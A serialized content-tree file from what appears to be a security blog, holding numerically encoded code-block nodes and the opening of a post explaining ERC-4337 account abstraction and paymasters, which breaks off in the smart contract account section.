{"type":32,"value":776},{"type":26,"tag":475,"props":100529,"children":100530},{"style":499},[100531],{"type":32,"value":804},{"type":26,"tag":475,"props":100533,"children":100534},{"style":714},[100535],{"type":32,"value":786},{"type":26,"tag":475,"props":100537,"children":100538},{"style":493},[100539],{"type":32,"value":813},{"type":26,"tag":475,"props":100541,"children":100542},{"style":499},[100543],{"type":32,"value":818},{"type":26,"tag":475,"props":100545,"children":100546},{"style":493},[100547],{"type":32,"value":823},{"type":26,"tag":475,"props":100549,"children":100550},{"style":499},[100551],{"type":32,"value":626},{"type":26,"tag":475,"props":100553,"children":100554},{"style":629},[100555],{"type":32,"value":1505},{"type":26,"tag":475,"props":100557,"children":100558},{"style":499},[100559],{"type":32,"value":1510},{"type":26,"tag":475,"props":100561,"children":100562},{"class":477,"line":761},[100563,100567],{"type":26,"tag":475,"props":100564,"children":100565},{"style":493},[100566],{"type":32,"value":837},{"type":26,"tag":475,"props":100568,"children":100569},{"style":499},[100570],{"type":32,"value":842},{"type":26,"tag":475,"props":100572,"children":100573},{"class":477,"line":770},[100574],{"type":26,"tag":475,"props":100575,"children":100576},{"style":499},[100577],{"type":32,"value":851},{"type":26,"tag":475,"props":100579,"children":100580},{"class":477,"line":794},[100581],{"type":26,"tag":475,"props":100582,"children":100583},{"emptyLinePlaceholder":18},[100584],{"type":32,"value":545},{"type":26,"tag":475,"props":100586,"children":100587},{"class":477,"line":831},[100588,100592,100596,100600],{"type":26,"tag":475,"props":100589,"children":100590},{"style":482},[100591],{"type":32,"value":868},{"type":26,"tag":475,"props":100593,"children":100594},{"style":482},[100595],{"type":32,"value":490},{"type":26,"tag":475,"props":100597,"children":100598},{"style":493},[100599],{"type":32,"value":877},{"type":26,"tag":475,"props":100601,"children":100602},{"style":499},[100603],{"type":32,"value":882},{"type":26,"tag":475,"props":100605,"children":100606},{"class":477,"line":845},[100607,100611,100615,100619,100623],{"type":26,"tag":475,"props":100608,"children":100609},{"style":493},[100610],{"type":32,"value":891},{"type":26,"tag":475,"props":100612,"children":100613},{"style":499},[100614],{"type":32,"value":896},{"type":26,"tag":475,"props":100616,"children":100617},{"style":714},[100618],{"type":32,"value":786},{"type":26,"tag":475,"props":100620,"children":100621},{"style":903},[100622],{"type":32,"value":906},{"type":26,"tag":475,"props":100624,"children":100625},{"style":499},[100626],{"type":32,"value":676},{"type":26,"tag":475,"props":100628,"children":100629},{"class":477,"line":854},[100630,100634],{"type":26,"tag":475,"props":100631,"children":100632},{"style":493},[100633],{"type":32,"value":919},{"type":26,"tag":475,"props":100635,"children":100636},{"style":499},[100637],{"type":32,"value":579},{"type":26,"tag":475,"props":100639,"children":100640},{"class":477,"line":862},[100641,100645,100649,100653],{"type":26,"tag":475,"props":100642,"children":100643},{"style":482},[100644],{"type":32,"value":932},{"type":26,"tag":475,"props":100646,"children":100647},{"style":499},[100648],{"type":32,"value":626},{"type":26,"tag":475,"props":100650,"children":100651},{"style":629},[100652],{"type":32,"value":941},{"type":26,"tag":475,"props":100654,"children":100655},{"style":499},[100656],{"type":32,"value":676},{"type":26,"tag":475,"props":100658,"children":100659},{"class":477,"line":885},[100660,100664,100668],{"type":26,"tag":475,"props":100661,"children":100662},{"style":499},[100663],{"type":32,"value":954},{"type":26,"tag":475,"props":100665,"children":100666},{"style":493},[100667],{"type":32,"value":959},{"type":26,"tag":475,"props":100669,"children":100670},{"style":499},[100671],{"type":32,"value":579},{"type":26,"tag":475,"props":100673,"children":100674},{"class":477,"line":913},[100675,100679],{"type":26,"tag":475,"props":100676,"children":100677},{"style":493},[100678],{"type":32,"value":972},{"type":26,"tag":475,"props":100680,"children":100681},{"style":499},[100682],{"type":32,"value":579},{"type":26,"tag":475,"props":100684,"children":100685},{"class":477,"line":926},[100686,100690,100694,100698],{"type":26,"tag":475,"props":100687,"children":100688},{"style":493},[100689],{"type":32,"value":1052},{"type":26,"tag":475,"props":100691,"children":100692},{"style":499},[100693],{"type":32,"value":626},{"type":26,"tag":475,"props":100695,"children":100696},{"style":629},[100697],{"type":32,"value":1649},{"type":26,"tag":475,"props":100699,"children":100700},{"style":499},[100701],{"type":32,"value":647},{"type":26,"tag":475,"props":100703,"children":100704},{"class":477,"line":948},[100705,100709],{"type":26,"tag":475,"props":100706,"children":100707},{"style":493},[100708],{"type":32,"value":1125},{"type":26,"tag":475,"props":100710,"children":100711},{"style":499},[100712],{"type":32,"value":579},{"type":26,"tag":475,"props":100714,"children":100715},{"class":477,"line":966},[100716,100720,100724],{"type":26,"tag":475,"props":100717,"children":100718},{"style":499},[100719],{"type":32,"value":1672},{"type":26,"tag":475,"props":100721,"children":100722},{"style":714},[100723],{"type":32,"value":786},{"type":26,"tag":475,"props":100725,"children":100726},{"style":629},[100727],{"type":32,"value":1681},{"type":26,"tag":475,"props":100729,"children":100730},{"class":477,"line":979},[100731,100735,100739,100743,100747],{"type":26,"tag":475,"props":100732,"children":100733},{"style":499},[100734],{"type":32,"value":1689},{"type":26,"tag":475,"props":100736,"children":100737},{"style":629},[100738],{"type":32,"value":1694},{"type":26,"tag":475,"props":100740,"children":100741},{"style":499},[100742],{"type":32,"value":1699},{"type":26,"tag":475,"props":100744,"children":100745},{"style":714},[100746],{"type":32,"value":786},{"type":26,"tag":475,"props":100748,"children":100749},{"style":629},[100750],{"type":32,"value":1708},{"type":26,"tag":475,"props":100752,"children":100753},{"class":477,"line":1006},[100754,100758,100762,100766,100770],{"type":26,"tag":475,"props":100755,"children":100756},{"style":499},[100757],{"type":32,"value":1689},{"type":26,"tag":475,"props":100759,"children":100760},{"style":629},[100761],{"type":32,"value":1720},{"type":26,"tag":475,"props":100763,"children":100764},{"style":499},[100765],{"type":32,"value":1699},{"type":26,"tag":475,"props":100767,"children":100768},{"style":714},[100769],{"type":32,"value":786},{"type":26,"tag":475,"props":100771,"children":100772},{"style":629},[100773],{"type":32,"value":1708},{"type":26,"tag":475,"props":100775,"children":100776},{"class":477,"line":1046},[100777],{"type":26,"tag":475,"props":100778,"children":100779},{"style":499},[100780],{"type":32,"value":1152},{"type":26,"tag":475,"props":100782,"children":100783},{"class":477,"line":1068},[100784,100788],{"type":26,"tag":475,"props":100785,"children":100786},{"style":493},[100787],{"type":32,"value":1125},{"type":26,"tag":475,"props":100789,"children":100790},{"style":499},[100791],{"type":32,"value":579},{"type":26,"tag":475,"props":100793,"children":100794},{"class":477,"line":1077},[100795,100799],{"type":26,"tag":475,"props":100796,"children":100797},{"style":493},[100798],{"type":32,"value":1758},{"type":26,"tag":475,"props":100800,"children":100801},{"style":499},[100802],{"type":32,"value":579},{"type":26,"tag":475,"props":100804,"children":100805},{"class":477,"line":1090},[100806,100810],{"type":26,"tag":475,"props":100807,"children":100808},{"style":714},[100809],{"type":32,"value":1770},{"type":26,"tag":475,"props":100811,"children":100812},{"style":629},[100813],{"type":32,"value":1775},{"type":26,"tag":475,"props":100815,"children":100816},{"class":477,"line":1119},[100817],{"type":26,"tag":475,"props":100818,"children":100819},{"style":629},[100820],{"type":32,"value":1783},{"type":26,"tag":475,"props":100822,"children":100823},{"class":477,"line":1132},[100824],{"type":26,"tag":475,"props":100825,"children":100826},{"style":629},[100827],{"type":32,"value":1791},{"type":26,"tag":475,"props":100829,"children":100830},{"class":477,"line":1146},[100831],{"type":26,"tag":475,"props":100832,"children":100833},{"style":629},[100834],{"type":32,"value":851},{"type":26,"tag":475,"props":100836,"children":100837},{"class":477,"line":1155},[100838],{"type":26,"tag":475,"props":100839,"children":100840},{"emptyLinePlaceholder":18},[100841],{"type":32,"value":545},{"type":26,"tag":475,"props":100843,"children":100844},{"class":477,"line":1163},[100845],{"type":26,"tag":475,"props":100846,"children":100847},{"style":629},[100848],{"type":32,"value":1813},{"type":26,"tag":475,"props":100850,"children":100851},{"class":477,"line":1172},[100852],{"type":26,"tag":475,"props":100853,"children":100854},{"style":629},[100855],{"type":32,"value":1821},{"type":26,"tag":475,"props":100857,"children":100858},{"class":477,"line":1181},[100859],{"type":26,"tag":475,"props":100860,"children":100861},{"style":629},[100862],{"type":32,"value":1829},{"type":26,"tag":475,"props":100864,"children":100865},{"class":477,"line":1189},[100866],{"type":26,"tag":475,"props":100867,"children":100868},{"style":629},[100869],{"type":32,"value":1837},{"type":26,"tag":475,"props":100871,"children":100872},{"class":477,"line":1221},[100873],{"type":26,"tag":475,"props":100874,"children":100875},{"style":629},[100876],{"type":32,"value":1845},{"type":26,"tag":475,"props":100878,"children":100879},{"class":477,"line":1848},[100880],{"type":26,"tag":475,"props":100881,"children":100882},{"style":629},[100883],{"type":32,"value":1854},{"type":26,"tag":475,"props":100885,"children":100886},{"class":477,"line":1857},[100887],{"type":26,"tag":475,"props":100888,"children":100889},{"style":629},[100890],{"type":32,"value":1863},{"type":26,"tag":475,"props":100892,"children":100893},{"class":477,"line":1866},[100894],{"type":26,"tag":475,"props":100895,"children":100896},{"style":629},[100897],{"type":32,"value":1872},{"type":26,"tag":475,"props":100899,"children":100900},{"class":477,"line":1875},[100901],{"type":26,"tag":475,"props":100902,"children":100903},{"emptyLinePlaceholder":18},[100904],{"type":32,"value":545},{"type":26,"tag":475,"props":100906,"children":100907},{"class":477,"line":1883},[100908],{"type":26,"tag":475,"props":100909,"children":100910},{"style":629},[100911],{"type":32,"value":1889},{"type":26,"tag":475,"props":100913,"children":100914},{"class":477,"line":1892},[100915],{"type":26,"tag":475,"props":100916,"children":100917},{"style":629},[100918],{"type":32,"value":1898},{"type":26,"tag":475,"props":100920,"children":100921},{"class":477,"line":1901},[100922],{"type":26,"tag":475,"props":100923,"children":100924},{"style":629},[100925],{"type":32,"value":1907},{"type":26,"tag":475,"props":100927,"children":100928},{"class":477,"line":1910},[100929],{"type":26,"tag":475,"props":100930,"children":100931},{"style":629},[100932],{"type":32,"value":1916},{"type":26,"tag":475,"props":100934,"children":100935},{"class":477,"line":1919},[100936],{"type":26,"tag":475,"props":100937,"children":100938},{"emptyLinePlaceholder":18},[100939],{"type":32,"value":545},{"type":26,"tag":475,"props":100941,"children":100942},{"class":477,"line":1927},[100943],{"type":26,"tag":475,"props":100944,"children":100945},{"style":629},[100946],{"type":32,"value":1933},{"type":26,"tag":475,"props":100948,"children":100949},{"class":477,"line":1936},[100950],{"type":26,"tag":475,"props":100951,"children":100952},{"style":629},[100953],{"type":32,"value":1942},{"type":26,"tag":475,"props":100955,"children":100956},{"class":477,"line":1945},[100957,100961,100965,100969],{"type":26,"tag":475,"props":100958,"children":100959},{"style":629},[100960],{"type":32,"value":1951},{"type":26,"tag":475,"props":100962,"children":100963},{"style":499},[100964],{"type":32,"value":353},{"type":26,"tag":475,"props":100966,"children":100967},{"style":493},[100968],{"type":32,"value":1960},{"type":26,"tag":475,"props":100970,"children":100971},{"style":499},[100972],{"type":32,"value":607},{"type":26,"tag":475,"props":100974,"children":100975},{"class":477,"line":1967},[100976],{"type":26,"tag":475,"props":100977,"children":100978},{"style":499},[100979],{"type":32,"value":1973},{"type":26,"tag":475,"props":100981,"children":100982},{"class":477,"line":1976},[100983],{"type":26,"tag":475,"props":100984,"children":100985},{"style":499},[100986],{"type":32,"value":1152},{"type":26,"tag":475,"props":100988,"children":100989},{"class":477,"line":1984},[100990],{"type":26,"tag":475,"props":100991,"children":100992},{"style":499},[100993],{"type":32,"value":1074},{"type":26,"tag":475,"props":100995,"children":100996},{"class":477,"line":1992},[100997,101001],{"type":26,"tag":475,"props":100998,"children":100999},{"style":493},[101000],{"type":32,"value":1083},{"type":26,"tag":475,"props":101002,"children":101003},{"style":499},[101004],{"type":32,"value":579},{"type":26,"tag":475,"props":101006,"children":101007},{"class":477,"line":2004},[101008,101012,101016,101020,101024],{"type":26,"tag":475,"props":101009,"children":101010},{"style":493},[101011],{"type":32,"value":1096},{"type":26,"tag":475,"props":101013,"children":101014},{"style":499},[101015],{"type":32,"value":1101},{"type":26,"tag":475,"props":101017,"children":101018},{"style":714},[101019],{"type":32,"value":1106},{"type":26,"tag":475,"props":101021,"children":101022},{"style":629},[101023],{"type":32,"value":2022},{"type":26,"tag":475,"props":101025,"children":101026},{"style":499},[101027],{"type":32,"value":1116},{"type":26,"tag":475,"props":101029,"children":101030},{"class":477,"line":2029},[101031,101035],{"type":26,"tag":475,"props":101032,"children":101033},{"style":493},[101034],{"type":32,"value":2035},{"type":26,"tag":475,"props":101036,"children":101037},{"style":499},[101038],{"type":32,"value":579},{"type":26,"tag":475,"props":101040,"children":101041},{"class":477,"line":2042},[101042,101046,101050],{"type":26,"tag":475,"props":101043,"children":101044},{"style":499},[101045],{"type":32,"value":2048},{"type":26,"tag":475,"props":101047,"children":101048},{"style":714},[101049],{"type":32,"value":786},{"type":26,"tag":475,"props":101051,"children":101052},{"style":629},[101053],{"type":32,"value":2057},{"type":26,"tag":475,"props":101055,"children":101056},{"class":477,"line":2060},[101057],{"type":26,"tag":475,"props":101058,"children":101059},{"style":499},[101060],{"type":32,"value":1152},{"type":26,"tag":475,"props":101062,"children":101063},{"class":477,"line":2068},[101064],{"type":26,"tag":475,"props":101065,"children":101066},{"style":499},[101067],{"type":32,"value":1074},{"type":26,"tag":475,"props":101069,"children":101070},{"class":477,"line":2076},[101071],{"type":26,"tag":475,"props":101072,"children":101073},{"style":499},[101074],{"type":32,"value":1169},{"type":26,"tag":475,"props":101076,"children":101077},{"class":477,"line":2084},[101078],{"type":26,"tag":475,"props":101079,"children":101080},{"style":499},[101081],{"type":32,"value":1178},{"type":26,"tag":475,"props":101083,"children":101084},{"class":477,"line":2092},[101085],{"type":26,"tag":475,"props":101086,"children":101087},{"style":499},[101088],{"type":32,"value":741},{"type":26,"tag":475,"props":101090,"children":101091},{"class":477,"line":2100},[101092,101096,101100,101104,101108,101112],{"type":26,"tag":475,"props":101093,"children":101094},{"style":499},[101095],{"type":32,"value":1195},{"type":26,"tag":475,"props":101097,"children":101098},{"style":493},[101099],{"type":32,"value":1200},{"type":26,"tag":475,"props":101101,"children":101102},{"style":499},[101103],{"type":32,"value":1205},{"type":26,"tag":475,"props":101105,"children":101106},{"style":714},[101107],{"type":32,"value":786},{"type":26,"tag":475,"props":101109,"children":101110},{"style":482},[101111],{"type":32,"value":1214},{"type":26,"tag":475,"props":101113,"children":101114},{"style":499},[101115],{"type":32,"value":647},{"type":26,"tag":475,"props":101117,"children":101118},{"class":477,"line":2128},[101119],{"type":26,"tag":475,"props":101120,"children":101121},{"style":499},[101122],{"type":32,"value":851},{"type":26,"tag":35,"props":101124,"children":101125},{},[101126],{"type":32,"value":2138},{"type":26,"tag":35,"props":101128,"children":101129},{},[101130],{"type":32,"value":2143},{"type":26,"tag":41,"props":101132,"children":101133},{"id":2146},[101134],{"type":32,"value":2149},{"type":26,"tag":35,"props":101136,"children":101137},{},[101138],{"type":32,"value":2154},{"type":26,"tag":27,"props":101140,"children":101141},{"id":2157},[101142],{"type":32,"value":2160},{"type":26,"tag":35,"props":101144,"children":101145},{},[101146],{"type":32,"value":2165},{"type":26,"tag":35,"props":101148,"children":101149},{},[101150,101151,101156],{"type":32,"value":2170},{"type":26,"tag":53,"props":101152,"children":101154},{"className":101153},[],[101155],{"type":32,"value":2176},{"type":32,"value":2178},{"type":26,"tag":465,"props":101158,"children":101159},{"className":2181,"code":2182,"language":2183,"meta":7,"style":7},[101160],{"type":26,"tag":53,"props":101161,"children":101162},{"__ignoreMap":7},[101163,101170,101177,101184],{"type":26,"tag":475,"props":101164,"children":101165},{"class":477,"line":478},[101166],{"type":26,"tag":475,"props":101167,"children":101168},{},[101169],{"type":32,"value":2195},{"type":26,"tag":475,"props":101171,"children":101172},{"class":477,"line":516},[101173],{"type":26,"tag":475,"props":101174,"children":101175},{},[101176],{"type":32,"value":2203},{"type":26,"tag":475,"props":101178,"children":101179},{"class":477,"line":539},[101180],{"type":26,"tag":475,"props":101181,"children":101182},{},[101183],{"type":32,"value":2211},{"type":26,"tag":475,"props":101185,"children":101186},{"class":477,"line":548},[101187],{"type":26,"tag":475,"props":101188,"children":101189},{},[101190],{"type":32,"value":2219},{"type":26,"tag":41,"props":101192,"children":101193},{"id":2222},[101194],{"type":32,"value":2225},{"type":26,"tag":35,"props":101196,"children":101197},{},[101198,101199,101204],{"type":32,"value":2230},{"type":26,"tag":53,"props":101200,"children":101202},{"className":101201},[],[101203],{"type":32,"value":2236},{"type":32,"value":2238},{"type":26,"tag":35,"props":101206,"children":101207},{},[101208],{"type":32,"value":2243},{"type":26,"tag":82,"props":101210,"children":101211},{},[101212,101228],{"type":26,"tag":86,"props":101213,"children":101214},{},[101215,101216,101221,101222,101227],{"type":32,"value":2251},{"type":26,"tag":53,"props":101217,"children":101219},{"className":101218},[],[101220],{"type":32,"value":2176},{"type":32,"value":2258},{"type":26,"tag":53,"props":101223,"children":101225},{"className":101224},[],[101226],{"type":32,"value":2264},{"type":32,"value":2266},{"type":26,"tag":86,"props":101229,"children":101230},{},[101231,101232],{"type":32,"value":2271},{"type":26,"tag":53,"props":101233,"children":101235},{"className":101234},[],[101236],{"type":32,"value":2277},{"type":26,"tag":41,"props":101238,"children":101239},{"id":2280},[101240],{"type":32,"value":443},{"type":26,"tag":35,"props":101242,"children":101243},{},[101244],{"type":32,"value":2287},{"type":26,"tag":181,"props":101246,"children":101247},{},[101248,101252,101256],{"type":26,"tag":86,"props":101249,"children":101250},{},[101251],{"type":32,"value":2295},{"type":26,"tag":86,"props":101253,"children":101254},{},[101255],{"type":32,"value":2300},{"type":26,"tag":86,"props":101257,"children":101258},{},[101259,101260,101265],{"type":32,"value":2305},{"type":26,"tag":53,"props":101261,"children":101263},{"className":101262},[],[101264],{"type":32,"value":2277},{"type":32,"value":2312},{"type":26,"tag":35,"props":101267,"children":101268},{},[101269],{"type":32,"value":2317},{"type":26,"tag":35,"props":101271,"children":101272},{},[101273,101274,101279],{"type":32,"value":2322},{"type":26,"tag":53,"props":101275,"children":101277},{"className":101276},[],[101278],{"type":32,"value":2176},{"type":32,"value":2329},{"type":26,"tag":465,"props":101281,"children":101282},{"className":2332,"code":2333,"language":2334,"meta":7,"style":7},[101283],{"type":26,"tag":53,"props":101284,"children":101285},{"__ignoreMap":7},[101286,101309,101344,101359,101374,101381,101420],{"type":26,"tag":475,"props":101287,"children":101288},{"class":477,"line":478},[101289,101293,101297,101301,101305],{"type":26,"tag":475,"props":101290,"children":101291},{"style":499},[101292],{"type":32,"value":626},{"type":26,"tag":475,"props":101294,"children":101295},{"style":482},[101296],{"type":32,"value":2350},{"type":26,"tag":475,"props":101298,"children":101299},{"style":499},[101300],{"type":32,"value":2355},{"type":26,"tag":475,"props":101302,"children":101303},{"style":482},[101304],{"type":32,"value":2360},{"type":26,"tag":475,"props":101306,"children":101307},{"style":499},[101308],{"type":32,"value":579},{"type":26,"tag":475,"props":101310,"children":101311},{"class":477,"line":516},[101312,101316,101320,101324,101328,101332,101336,101340],{"type":26,"tag":475,"props":101313,"children":101314},{"style":482},[101315],{"type":32,"value":2372},{"type":26,"tag":475,"props":101317,"children":101318},{"style":2375},[101319],{"type":32,"value":2378},{"type":26,"tag":475,"props":101321,"children":101322},{"style":714},[101323],{"type":32,"value":2383},{"type":26,"tag":475,"props":101325,"children":101326},{"style":586},[101327],{"type":32,"value":2388},{"type":26,"tag":475,"props":101329,"children":101330},{"style":493},[101331],{"type":32,"value":2393},{"type":26,"tag":475,"props":101333,"children":101334},{"style":499},[101335],{"type":32,"value":626},{"type":26,"tag":475,"props":101337,"children":101338},{"style":629},[101339],{"type":32,"value":2402},{"type":26,"tag":475,"props":101341,"children":101342},{"style":499},[101343],{"type":32,"value":2407},{"type":26,"tag":475,"props":101345,"children":101346},{"class":477,"line":539},[101347,101351,101355],{"type":26,"tag":475,"props":101348,"children":101349},{"style":2375},[101350],{"type":32,"value":2415},{"type":26,"tag":475,"props":101352,"children":101353},{"style":629},[101354],{"type":32,"value":2420},{"type":26,"tag":475,"props":101356,"children":101357},{"style":499},[101358],{"type":32,"value":2425},{"type":26,"tag":475,"props":101360,"children":101361},{"class":477,"line":548},[101362,101366,101370],{"type":26,"tag":475,"props":101363,"children":101364},{"style":2375},[101365],{"type":32,"value":2433},{"type":26,"tag":475,"props":101367,"children":101368},{"style":629},[101369],{"type":32,"value":2438},{"type":26,"tag":475,"props":101371,"children":101372},{"style":499},[101373],{"type":32,"value":2425},{"type":26,"tag":475,"props":101375,"children":101376},{"class":477,"line":558},[101377],{"type":26,"tag":475,"props":101378,"children":101379},{"style":499},[101380],{"type":32,"value":2450},{"type":26,"tag":475,"props":101382,"children":101383},{"class":477,"line":582},[101384,101388,101392,101396,101400,101404,101408,101412,101416],{"type":26,"tag":475,"props":101385,"children":101386},{"style":2375},[101387],{"type":32,"value":2458},{"type":26,"tag":475,"props":101389,"children":101390},{"style":499},[101391],{"type":32,"value":353},{"type":26,"tag":475,"props":101393,"children":101394},{"style":493},[101395],{"type":32,"value":2467},{"type":26,"tag":475,"props":101397,"children":101398},{"style":499},[101399],{"type":32,"value":626},{"type":26,"tag":475,"props":101401,"children":101402},{"style":586},[101403],{"type":32,"value":2476},{"type":26,"tag":475,"props":101405,"children":101406},{"style":2375},[101407],{"type":32,"value":2378},{"type":26,"tag":475,"props":101409,"children":101410},{"style":499},[101411],{"type":32,"value":353},{"type":26,"tag":475,"props":101413,"children":101414},{"style":493},[101415],{"type":32,"value":2489},{"type":26,"tag":475,"props":101417,"children":101418},{"style":499},[101419],{"type":32,"value":2494},{"type":26,"tag":475,"props":101421,"children":101422},{"class":477,"line":596},[101423],{"type":26,"tag":475,"props":101424,"children":101425},{"style":499},[101426],{"type":32,"value":2502},{"type":26,"tag":35,"props":101428,"children":101429},{},[101430],{"type":32,"value":2507},{"type":26,"tag":41,"props":101432,"children":101433},{"id":2510},[101434],{"type":32,"value":2513},{"type":26,"tag":35,"props":101436,"children":101437},{},[101438,101439,101444],{"type":32,"value":2518},{"type":26,"tag":53,"props":101440,"children":101442},{"className":101441},[],[101443],{"type":32,"value":2176},{"type":32,"value":2525},{"type":26,"tag":35,"props":101446,"children":101447},{},[101448],{"type":32,"value":2530},{"type":26,"tag":27,"props":101450,"children":101451},{"id":2533},[101452],{"type":32,"value":2536},{"type":26,"tag":35,"props":101454,"children":101455},{},[101456],{"type":32,"value":2541},{"type":26,"tag":35,"props":101458,"children":101459},{},[101460],{"type":32,"value":2546},{"type":26,"tag":2548,"props":101462,"children":101463},{},[101464],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":101466},[101467,101472,101477],{"id":29,"depth":516,"text":33,"children":101468},[101469,101470,101471],{"id":43,"depth":539,"text":46},{"id":416,"depth":539,"text":419},{"id":2146,"depth":539,"text":2149},{"id":2157,"depth":516,"text":2160,"children":101473},[101474,101475,101476],{"id":2222,"depth":539,"text":2225},{"id":2280,"depth":539,"text":443},{"id":2510,"depth":539,"text":2513},{"id":2533,"depth":516,"text":2536},{"_path":101479,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":101480,"description":101481,"date":101482,"author":101483,"image":101484,"isFeatured":18,"onBlogPage":18,"tags":101486,"body":101489,"_type":2566,"_id":107261,"_source":2568,"_file":107262,"_stem":107263,"_extension":2571},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":101485,"width":16,"height":17},"/posts/paymasters-evm/title.png",[101487,101488],"evm","ERC-4337",{"type":23,"children":101490,"toc":107240},[101491,101495,101506,101511,101516,101521,101527,101533,101538,101543,101549,101554,101582,101588,101593,101600,101605,101615,101620,101646,101652,101672,101678,101698,101706,101737,101770,101779,101791,101816,101828,101841,101884,101890,101923,102022,102041,102064,102069,102075,102103,102250,102255,102282,102288,102300,102312,102321,102356,102361,103846,103874,103895,103900,103912,103921,103926,103944,103967,103972,103978,104032,104038,104071,104106,104930,104966,105002,105068,105101,105599,105652,105664,106228,106297,106324,106946,106988,107015,107027,107088,107107,107141,107146,107151,107156,107160,107165,107200,107226,107231,107236],{"type":26,"tag":35068,"props":101492,"children":101493},{"id":28717},[101494],{"type":32,"value":28720},{"type":26,"tag":35,"props":101496,"children":101497},{},[101498,101504],{"type":26,"tag":116,"props":101499,"children":101502},{"href":101500,"rel":101501},"https://docs.erc4337.io/",[120],[101503],{"type":32,"value":101488},{"type":32,"value":101505}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":26,"tag":35,"props":101507,"children":101508},{},[101509],{"type":32,"value":101510},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":26,"tag":35,"props":101512,"children":101513},{},[101514],{"type":32,"value":101515},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":26,"tag":35,"props":101517,"children":101518},{},[101519],{"type":32,"value":101520},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":26,"tag":35068,"props":101522,"children":101524},{"id":101523},"erc4337-overview",[101525],{"type":32,"value":101526},"ERC4337 Overview",{"type":26,"tag":27,"props":101528,"children":101530},{"id":101529},"traditional-eoas-vs-smart-contract-wallets",[101531],{"type":32,"value":101532},"Traditional EOAs vs Smart Contract Wallets",{"type":26,"tag":35,"props":101534,"children":101535},{},[101536],{"type":32,"value":101537},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":26,"tag":35,"props":101539,"children":101540},{},[101541],{"type":32,"value":101542},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":26,"tag":27,"props":101544,"children":101546},{"id":101545},"why-erc4337-was-introduced",[101547],{"type":32,"value":101548},"Why ERC‑4337 Was Introduced",{"type":26,"tag":35,"props":101550,"children":101551},{},[101552],{"type":32,"value":101553},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":26,"tag":82,"props":101555,"children":101556},{},[101557,101562,101567,101572,101577],{"type":26,"tag":86,"props":101558,"children":101559},{},[101560],{"type":32,"value":101561},"User recovery for lost keys (e.g. social recovery)",{"type":26,"tag":86,"props":101563,"children":101564},{},[101565],{"type":32,"value":101566},"Batched or atomic multi-step operations in one flow",{"type":26,"tag":86,"props":101568,"children":101569},{},[101570],{"type":32,"value":101571},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":26,"tag":86,"props":101573,"children":101574},{},[101575],{"type":32,"value":101576},"Using custom signature schemes or multisig logic",{"type":26,"tag":86,"props":101578,"children":101579},{},[101580],{"type":32,"value":101581},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":26,"tag":27,"props":101583,"children":101585},{"id":101584},"how-erc-4337-works",[101586],{"type":32,"value":101587},"How ERC-4337 Works",{"type":26,"tag":35,"props":101589,"children":101590},{},[101591],{"type":32,"value":101592},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":26,"tag":35,"props":101594,"children":101595},{},[101596],{"type":26,"tag":132,"props":101597,"children":101599},{"alt":134,"src":101598},"/posts/paymasters-evm/flowchart.png",[],{"type":26,"tag":35,"props":101601,"children":101602},{},[101603],{"type":32,"value":101604},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":26,"tag":41,"props":101606,"children":101608},{"id":101607},"useroperation",[101609],{"type":26,"tag":53,"props":101610,"children":101612},{"className":101611},[],[101613],{"type":32,"value":101614},"UserOperation",{"type":26,"tag":35,"props":101616,"children":101617},{},[101618],{"type":32,"value":101619},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":26,"tag":82,"props":101621,"children":101622},{},[101623,101628,101633],{"type":26,"tag":86,"props":101624,"children":101625},{},[101626],{"type":32,"value":101627},"Target contract call(s)",{"type":26,"tag":86,"props":101629,"children":101630},{},[101631],{"type":32,"value":101632},"Signature or validation metadata",{"type":26,"tag":86,"props":101634,"children":101635},{},[101636,101638,101644],{"type":32,"value":101637},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":26,"tag":53,"props":101639,"children":101641},{"className":101640},[],[101642],{"type":32,"value":101643},"UserOperations",{"type":32,"value":101645}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":26,"tag":41,"props":101647,"children":101649},{"id":101648},"smart-contract-account",[101650],{"type":32,"value":101651},"Smart Contract Account",{"type":26,"tag":35,"props":101653,"children":101654},{},[101655,101657,101663,101664,101670],{"type":32,"value":101656},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":26,"tag":53,"props":101658,"children":101660},{"className":101659},[],[101661],{"type":32,"value":101662},"validateUserOp()",{"type":32,"value":209},{"type":26,"tag":53,"props":101665,"children":101667},{"className":101666},[],[101668],{"type":32,"value":101669},"executeUserOp()",{"type":32,"value":101671},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending 